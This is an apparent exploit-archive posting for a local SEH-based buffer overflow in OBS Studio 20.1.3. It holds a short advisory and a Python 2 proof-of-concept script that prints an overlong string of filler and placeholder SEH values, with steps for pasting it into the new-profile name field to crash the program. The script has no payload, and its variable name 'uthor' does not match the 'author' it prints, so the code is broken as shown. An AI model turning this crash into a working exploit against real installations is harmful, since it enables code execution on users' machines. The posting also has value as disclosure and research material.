OBS Studio 20.1.3 Local Buffer Overflow

OBS Studio version 20.1.3 suffers from local buffer overflow vulnerability.


MD5 | 585cb29974d0cd163c5127b35918041e

uthor = '''

##############################################
# Created: ScrR1pTK1dd13 #
# Name: Greg Priest #
# Mail: [email protected] #
##############################################

# Exploit Title: OBS-Studio-20.1.3 Local Buffer Overflow Zer0Day (SEH Based PoC)
# Date: 2018.01.15
# Exploit Author: Greg Priest
# Version: OBS-Studio-20.1.3
# Tested on: Windows7 x64 HUN/ENG Enterprise
# Software Download Link: https://obsproject.com/download

'''

bug = '''
Vulnerable input field:
<1> Copy printed "AAAAA...." string to clipboard!
<2> Profile -> New
<3> Paste the string in the input then press Ok

'''
junk = "A" * 459
SEH = "BBBB"
nextSEH = "CCCC"
overflow = "D" * 19533

print author
print "String: ", junk + SEH + nextSEH + overflow
print bug


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